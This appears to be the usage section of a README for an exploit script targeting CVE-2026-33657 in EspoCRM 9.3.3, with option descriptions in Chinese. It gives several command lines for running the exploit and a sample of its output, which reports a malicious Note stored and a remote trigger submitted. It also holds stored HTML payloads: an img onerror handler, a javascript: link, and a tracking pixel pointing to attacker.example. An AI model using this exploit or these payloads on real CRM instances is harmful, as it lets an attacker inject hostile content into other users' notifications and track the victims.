python3 -m pip install requests

python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

-u, --url                 基础 EspoCRM URL
-U, --username             EspoCRM 用户名
-P, --password             EspoCRM 密码
--mention                 要提及的用户名，不带 @
--target-user-id           用于定向流动态帖子通知的用户 ID
--target-user-name         --target-user-id 的显示名称
--payload                 要存储在 Note 中的原始 HTML 载荷
--tracking-url             默认载荷使用的跟踪像素 URL
--link-url                 默认载荷使用的链接 URL
--marker                   附加到载荷前面的标记文本
--detect-only              仅进行版本指纹识别；不创建 Note
--skip-version-check       在利用前跳过 /api/v1/App/user
--force                    即使版本指纹不是 9.3.3 也继续
--insecure                 禁用 TLS 证书验证

[*] /api/v1/App/user: HTTP 200
[*] 检测到版本：9.3.3
[+] 版本指纹存在漏洞：EspoCRM 9.3.3。
[*] 以 testuser 身份创建恶意 Note
[*] Note 响应：HTTP 200 ...
[+] 漏洞载荷已存储在 Note 动态中。
[+] Note ID：69fddeef8db756271
[+] 解析到的提及：@admin -> 用户 ID 69fdcfb66c34ccb81
[+] API 返回的通知目标列表：69fdcfb66c34ccb81
[+] 完整的远程触发已提交。

<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

sudo -u www-data php command.php run-job SendEmailNotifications